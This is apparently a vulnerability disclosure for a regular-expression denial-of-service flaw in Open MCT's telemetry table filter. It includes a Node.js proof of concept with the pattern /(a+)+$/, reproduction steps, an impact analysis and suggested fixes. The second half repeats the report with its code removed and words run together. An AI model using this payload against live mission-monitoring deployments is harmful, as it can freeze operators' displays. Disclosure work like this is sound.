Summary
The setColumnRegexFilter() function in src/plugins/telemetryTable/collections/TableRowCollection.js (line 331) passes user-provided regex patterns directly to new RegExp() without any complexity validation or timeout. A user typing a catastrophic backtracking pattern (e.g., /(a+)+$/) in the telemetry table's regex filter input causes the browser tab to freeze for 92+ seconds, rendering the application unusable.
This was found via source code review of the public GitHub repository. No NASA infrastructure was tested or impacted.
Vulnerability Details
Type: Regular Expression Denial of Service (ReDoS) — CWE-1333
Component: Telemetry Table regex filter
CVSS 3.1: 4.3 (Medium) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Affected file: src/plugins/telemetryTable/collections/TableRowCollection.js line 331
Also affected: src/api/telemetry/WebSocketWorker.js line 334
Proof of Concept
This PoC runs the vulnerable function locally without connecting to any NASA system.
poc.js
/**
* NASA Open MCT ReDoS PoC
* File: src/plugins/telemetryTable/collections/TableRowCollection.js:331
*
* Run: node poc.js
* Expected: ~92 second hang
*
* NO NASA infrastructure is contacted.
*/
// Exact code from TableRowCollection.js line 329-331
function setColumnRegexFilter(columnKey, filter) {
filter = filter.trim();
// columnFilters[columnKey] = new RegExp(filter); // ← VULNERABLE
return new RegExp(filter);
}
// User types "/(a+)+$/" in the table filter input field.
// The Vue component (TableComponent.vue:781) strips the / delimiters:
// this.filters[columnKey].slice(1, -1) → "(a+)+$"
const userInput = '(a+)+$';
// This regex is then tested against every telemetry value in the column
const telemetryValue = 'a'.repeat(30) + 'b';
console.log('NASA Open MCT — Telemetry Table ReDoS');
console.log('======================================');
console.log('');
console.log('Vulnerable function: setColumnRegexFilter()');
console.log('File: src/plugins/telemetryTable/collections/TableRowCollection.js:331');
console.log('');
console.log('User input (typed in table filter): /' + userInput + '/');
console.log('Telemetry value being filtered: ' + telemetryValue.substring(0, 35) + '...');
console.log('');
const regex = setColumnRegexFilter('timestamp', userInput);
console.log('Compiled regex: ' + regex);
console.log('Executing regex.test() — this will hang:');
console.log('');
const start = Date.now();
regex.test(telemetryValue);
const elapsed = ((Date.now() - start) / 1000).toFixed(1);
console.log(`Result: blocked for ${elapsed} seconds`);
console.log('');
console.log('Impact: Browser tab frozen, Open MCT UI completely unresponsive.');
console.log('The regex is tested against EVERY row in the telemetry table,');
console.log('so a table with 100 rows = ' + (elapsed * 100 / 60).toFixed(0) + ' minutes of freeze.');
Expected output
NASA Open MCT — Telemetry Table ReDoS
======================================
Vulnerable function: setColumnRegexFilter()
File: src/plugins/telemetryTable/collections/TableRowCollection.js:331
User input (typed in table filter): /(a+)+$/
Telemetry value being filtered: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaab...
Compiled regex: /(a+)+$/
Executing regex.test() — this will hang:
Result: blocked for 92.7 seconds
Impact: Browser tab frozen, Open MCT UI completely unresponsive.
The regex is tested against EVERY row in the telemetry table,
so a table with 100 rows = 154 minutes of freeze.
Steps to Reproduce (on a local Open MCT instance)
- Open any telemetry table view in Open MCT
- Click the filter icon on any column header
- Enable "Regex" mode for the filter
- Type:
/(a+)+$/
- Observe: the browser tab freezes for 90+ seconds
Attack Vector
The vulnerability is triggered by any authenticated user with access to telemetry tables. The attack flow:
- User opens a telemetry table (standard Open MCT functionality)
- User enables regex filtering on a column (UI toggle)
- User types a malicious pattern in the filter input
TableComponent.vue calls setColumnRegexFilter() with the user's pattern
new RegExp(filter) compiles the pattern without validation
- The regex is tested against every row's value via
columnFilters[key].test(value)
- Catastrophic backtracking freezes the browser's main thread
Impact:
- Browser tab becomes completely unresponsive for 90+ seconds per telemetry row
- In a table with many rows, the freeze can last minutes to hours
- The user must force-kill the tab to recover
- If Open MCT is used for real-time mission monitoring, this could blind operators to critical telemetry during the freeze
Affected Code
// src/plugins/telemetryTable/collections/TableRowCollection.js line 329-331
setColumnRegexFilter(columnKey, filter) {
filter = filter.trim();
this.columnFilters[columnKey] = new RegExp(filter); // ← No validation
this.emit('resetRowsFromAllData');
}
The filter value comes directly from user input in the Vue component:
// src/plugins/telemetryTable/components/TableComponent.vue line 779-781
this.table.tableRows.setColumnRegexFilter(
columnKey,
this.filters[columnKey].slice(1, -1) // User's input with / stripped
);
Suggested Fix
Option 1 — Add try/catch with timeout (simplest):
setColumnRegexFilter(columnKey, filter) {
filter = filter.trim();
try {
const regex = new RegExp(filter);
// Test with a short string first to detect backtracking
const testStart = performance.now();
regex.test('a'.repeat(20));
if (performance.now() - testStart > 100) {
console.warn('Regex too complex, skipping filter');
return;
}
this.columnFilters[columnKey] = regex;
} catch (e) {
// Invalid regex — ignore
return;
}
this.emit('resetRowsFromAllData');
}
Option 2 — Use a safe regex library:
import safeRegex from 'safe-regex2';
setColumnRegexFilter(columnKey, filter) {
filter = filter.trim();
if (!safeRegex(filter)) {
console.warn('Unsafe regex pattern rejected');
return;
}
this.columnFilters[columnKey] = new RegExp(filter);
this.emit('resetRowsFromAllData');
}
References
Summary
The
setColumnRegexFilter()function insrc/plugins/telemetryTable/collections/TableRowCollection.js(line 331) passes user-provided regex patterns directly tonew RegExp()without any complexity validation or timeout. A user typing a catastrophic backtracking pattern (e.g.,/(a+)+$/) in the telemetry table's regex filter input causes the browser tab to freeze for 92+ seconds, rendering the application unusable.This was found via source code review of the public GitHub repository. No NASA infrastructure was tested or impacted.
Vulnerability Details
Type: Regular Expression Denial of Service (ReDoS) — CWE-1333
Component: Telemetry Table regex filter
CVSS 3.1: 4.3 (Medium) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Affected file:
src/plugins/telemetryTable/collections/TableRowCollection.jsline 331Also affected:
src/api/telemetry/WebSocketWorker.jsline 334Proof of Concept
This PoC runs the vulnerable function locally without connecting to any NASA system.
poc.js
Expected output
Steps to Reproduce (on a local Open MCT instance)
/(a+)+$/Attack Vector
The vulnerability is triggered by any authenticated user with access to telemetry tables. The attack flow:
TableComponent.vuecallssetColumnRegexFilter()with the user's patternnew RegExp(filter)compiles the pattern without validationcolumnFilters[key].test(value)Impact:
Affected Code
The filter value comes directly from user input in the Vue component:
Suggested Fix
Option 1 — Add try/catch with timeout (simplest):
Option 2 — Use a safe regex library:
References